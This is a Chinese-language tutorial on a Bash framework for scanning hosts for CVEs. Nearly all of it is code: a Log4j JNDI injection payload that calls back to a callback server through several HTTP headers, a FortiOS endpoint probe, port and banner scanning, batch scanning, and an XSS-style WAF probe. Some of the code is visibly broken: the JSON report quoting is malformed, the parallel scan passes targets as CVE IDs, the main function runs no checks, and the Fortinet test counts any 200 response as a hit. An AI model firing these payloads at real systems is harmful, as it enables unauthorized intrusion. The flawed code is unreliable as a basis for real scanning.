PoC框架:用Bash快速验证CVE

概述

PoC(Proof of Concept,概念验证)是证明漏洞存在的最小化利用代码。使用 Bash 编写 PoC 具有开发快速、部署简便、无额外依赖等优势。

核心理念

  • 最小化原则:只验证漏洞存在,不进行破坏性利用
  • 自动化优先:减少人工干预,支持批量检测
  • 可复现性:确保检测结果可被他人复现
  • 报告标准化:生成统一格式的检测报告

1. CVE检测脚本模板

1.1 基础 PoC 框架

#!/usr/bin/env bash
# CVE PoC 检测框架
set -euo pipefail
 
readonly SCRIPT_NAME="$(basename "$0")"
readonly VERSION="2.0.0"
readonly TIMEOUT=10
readonly USER_AGENT="Mozilla/5.0 (compatible; PoC-Scanner/${VERSION})"
 
RED='\033[0;31m'; GREEN='\033[0;32m'; YELLOW='\033[1;33m'
BLUE='\033[0;34m'; NC='\033[0m'
 
TARGET="" PORT=80 SSL=false VERBOSE=false OUTPUT_FORMAT="text"
RESULTS=()
 
log_info()    { echo -e "${BLUE}[*]${NC} $*"; }
log_success() { echo -e "${GREEN}[+]${NC} $*"; }
log_warn()    { echo -e "${YELLOW}[!]${NC} $*" >&2; }
log_error()   { echo -e "${RED}[-]${NC} $*" >&2; }
 
banner() {
    cat << 'EOF'
  _____            _             ____   ___  ____
 |  ___|__  _ __ (_) ___  _ __ |  _ \ / _ \|  _ \
 | |_ / _ \| '_ \| |/ _ \| '_ \| |_) | | | | |_) |
 |  _| (_) | |_) | | (_) | |_) |  __/| |_| |  __/
 |_|  \___/| .__/|_|\___/| .__/|_|    \___/|_|
           |_|            |_|
    PoC Framework v2.0
EOF
}
 
usage() {
    cat << EOF
用法: $SCRIPT_NAME [选项]
  -t, --target TARGET     目标地址 (必须)
  -p, --port PORT         目标端口 (默认: 80)
  -s, --ssl               使用 HTTPS
  -o, --output FORMAT     输出格式: text/json/csv
  -v, --verbose           详细输出
  -h, --help              帮助信息
EOF
    exit 0
}
 
parse_args() {
    while [[ $# -gt 0 ]]; do
        case "$1" in
            -t|--target)  TARGET="$2"; shift 2 ;;
            -p|--port)    PORT="$2"; shift 2 ;;
            -s|--ssl)     SSL=true; shift ;;
            -o|--output)  OUTPUT_FORMAT="$2"; shift 2 ;;
            -v|--verbose) VERBOSE=true; shift ;;
            -h|--help)    usage ;;
            *)            log_error "未知参数: $1"; usage; exit 1 ;;
        esac
    done
    [[ -z "$TARGET" ]] && { log_error "必须指定目标"; usage; exit 1; }
}
 
http_request() {
    local url="$1" method="${2:-GET}" data="${3:-}"
    local extra_args=()
    [[ "$SSL" == true ]] && extra_args+=("-k")
    local curl_args=(-s -S --max-time "$TIMEOUT" -A "$USER_AGENT" -X "$method" -w "\n%{http_code}" "${extra_args[@]}")
    [[ -n "$data" ]] && curl_args+=(-d "$data")
    local response
    response=$(curl "${curl_args[@]}" "$url" 2>/dev/null) || return 1
    local http_code body
    http_code=$(echo "$response" | tail -1)
    body=$(echo "$response" | sed '$d')
    echo "$http_code|$body"
}
 
detect_cve() {
    local cve_id="$1"
    log_info "检测 ${cve_id}..."
    case "$cve_id" in
        CVE-2021-44228) detect_log4j ;;
        CVE-2024-21762) detect_fortinet ;;
        *) log_warn "未知 CVE: $cve_id"; return 1 ;;
    esac
}
 
main() {
    banner
    parse_args "$@"
    log_info "目标: ${TARGET}:${PORT}"
    log_info "开始 CVE 检测..."
    log_success "检测完成"
}
main "$@"

1.2 CVE-2021-44228 Log4j 检测

detect_log4j() {
    local protocol="http"
    [[ "$SSL" == true ]] && protocol="https"
    local url="${protocol}://${TARGET}:${PORT}/"
    local payload='${jndi:ldap://'${CALLBACK_SERVER}'/log4j-test}'
    log_info "发送 Log4j 检测 payload..."
 
    local headers=("User-Agent" "X-Forwarded-For" "Referer" "X-Api-Version" "Accept-Language")
    for header in "${headers[@]}"; do
        curl -s -o /dev/null \
            -H "${header}: $payload" \
            --max-time "$TIMEOUT" \
            "$url" 2>/dev/null || true
    done
    log_info "请检查 callback 服务器"
}

1.3 CVE-2024-21762 Fortinet 检测

detect_fortinet() {
    local protocol="http"
    [[ "$SSL" == true ]] && protocol="https"
    local url="${protocol}://${TARGET}:${PORT}/remote/fgt_lang"
    log_info "检测 Fortinet FortiOS 漏洞..."
    local payload="lang=/dev/null&sel=/dev/null&path=/dev/null"
    local result
    result=$(curl -s -o /dev/null -w "%{http_code}" \
        -k --max-time "$TIMEOUT" -d "$payload" "$url" 2>/dev/null) || true
    [[ "$result" == "200" ]] && { log_success "可能存在 CVE-2024-21762"; return 0; }
    return 1
}

2. 版本指纹识别

2.1 HTTP 头指纹

fingerprint_http() {
    local protocol="http"
    [[ "$SSL" == true ]] && protocol="https"
    local url="${protocol}://${TARGET}:${PORT}/"
    log_info "收集 HTTP 指纹信息..."
    local headers
    headers=$(curl -sI -k --max-time "$TIMEOUT" "$url" 2>/dev/null) || return 1
    local server
    server=$(echo "$headers" | grep -i "^server:" | head -1 | sed 's/^[Ss]erver: *//')
    local powered_by
    powered_by=$(echo "$headers" | grep -i "^x-powered-by:" | head -1 | sed 's/^[Xx]-[Pp]owered-[Bb]y: *//')
    echo "Server: ${server:-未知}"
    echo "X-Powered-By: ${powered_by:-未知}"
}
 
extract_version() {
    local banner="$1"
    local patterns=('([0-9]+\.[0-9]+\.[0-9]+)' 'v([0-9]+\.[0-9]+)' 'Version/([0-9]+\.[0-9]+)')
    for pattern in "${patterns[@]}"; do
        if [[ "$banner" =~ $pattern ]]; then
            echo "${BASH_REMATCH[1]}"
            return 0
        fi
    done
    echo "unknown"
}

2.2 服务指纹识别

service_fingerprint() {
    local target="$1" port="$2"
    log_info "服务指纹识别: ${target}:${port}"
    local banner
    banner=$(echo "" | nc -w 3 "$target" "$port" 2>/dev/null | head -1) || true
    [[ -n "$banner" ]] && echo "Banner: $banner"
    local http_response
    http_response=$(curl -sI --max-time 5 "http://${target}:${port}/" 2>/dev/null) || true
    local frameworks=("Apache:httpd" "nginx:nginx" "Microsoft-IIS:IIS" "Tomcat:Tomcat" "PHP:PHP")
    for entry in "${frameworks[@]}"; do
        local name="${entry%%:*}" framework="${entry##*:}"
        echo "$http_response" | grep -qi "$name" && echo "Framework: $framework"
    done
}

3. 自动化漏洞扫描

3.1 批量扫描框架

batch_scan() {
    local target_file="$1" cve_list="$2"
    [[ ! -f "$target_file" ]] && { log_error "目标文件不存在"; return 1; }
    local total_targets total_cves
    total_targets=$(wc -l < "$target_file")
    total_cves=$(wc -l < "$cve_list")
    log_info "批量扫描: ${total_targets} 目标, ${total_cves} CVE"
    local current=0
    while IFS= read -r target; do
        ((current++))
        log_info "[${current}/${total_targets}] $target"
        while IFS= read -r cve; do detect_cve "$cve"; done < "$cve_list"
    done < "$target_file"
}
 
quick_port_scan() {
    local target="$1" ports="${2:-80,443,8080,8443}"
    log_info "快速端口扫描: $target"
    IFS=',' read -ra port_list <<< "$ports"
    for port in "${port_list[@]}"; do
        timeout 2 bash -c "echo >/dev/tcp/$target/$port" 2>/dev/null && log_success "端口 $port 开放"
    done
}

3.2 并发扫描

parallel_scan() {
    local target_file="$1" max_jobs="${2:-5}"
    log_info "并发扫描 (最大并发: ${max_jobs})..."
    local pids=() job_count=0
    while IFS= read -r target; do
        (detect_cve "$target" &) &
        pids+=($!); ((job_count++))
        if (( job_count >= max_jobs )); then
            wait "${pids[0]}" 2>/dev/null || true
            pids=("${pids[@]:1}")
        fi
    done < "$target_file"
    for pid in "${pids[@]}"; do wait "$pid" 2>/dev/null || true; done
    log_success "并发扫描完成"
}

4. 报告生成

generate_text_report() {
    local output_file="$1"
    local timestamp
    timestamp=$(date '+%Y-%m-%d %H:%M:%S')
    cat > "$output_file" << EOF
============================================
         CVE 检测报告
============================================
生成时间: $timestamp
目标:     $TARGET
端口:     $PORT
============================================
EOF
    if [[ ${#RESULTS[@]} -eq 0 ]]; then
        echo "未发现已知漏洞" >> "$output_file"
    else
        echo "检测结果:" >> "$output_file"
        for result in "${RESULTS[@]}"; do echo "  $result" >> "$output_file"; done
        echo "共发现 ${#RESULTS[@]} 个潜在漏洞" >> "$output_file"
    fi
    echo "免责声明: 本报告仅供授权测试使用" >> "$output_file"
    log_success "报告已生成: $output_file"
}
 
generate_json_report() {
    local output_file="$1"
    echo "{"target":"$TARGET","port":$PORT,"results":[" > "$output_file"
    local first=true
    for result in "${RESULTS[@]}"; do
        [[ "$first" == true ]] && first=false || echo "," >> "$output_file"
        echo ""$result"" >> "$output_file"
    done
    echo "],"total":${#RESULTS[@]}}" >> "$output_file"
    log_success "JSON 报告已生成"
}

5. WAF 检测与辅助工具

detect_waf() {
    local target="$1" port="$2" protocol="http"
    [[ "$SSL" == true ]] && protocol="https"
    local url="${protocol}://${target}:${port}/"
    local waf_payload="<script>alert(1)</script>"
    local response
    response=$(curl -s -o /dev/null -w "%{http_code}" \
        -H "User-Agent: $waf_payload" --max-time "$TIMEOUT" "$url" 2>/dev/null) || true
    [[ "$response" == "403" || "$response" == "406" ]] && { log_warn "可能检测到 WAF"; return 0; }
    return 1
}
 
check_alive() {
    local target="$1" port="$2" protocol="http"
    [[ "$SSL" == true ]] && protocol="https"
    local http_code
    http_code=$(curl -s -o /dev/null -w "%{http_code}" \
        --max-time "$TIMEOUT" "${protocol}://${target}:${port}/" 2>/dev/null) || true
    [[ "$http_code" =~ ^(200|301|302|403|404)$ ]] && { log_success "目标存活"; return 0; }
    timeout 2 bash -c "echo >/dev/tcp/$target/$port" 2>/dev/null && { log_success "端口开放"; return 0; }
    return 1
}

总结

本文介绍了使用 Bash 构建 CVE 检测框架的完整流程:脚本模板、指纹识别、批量扫描、报告生成和辅助工具。该框架可快速扩展新的 CVE 检测模块。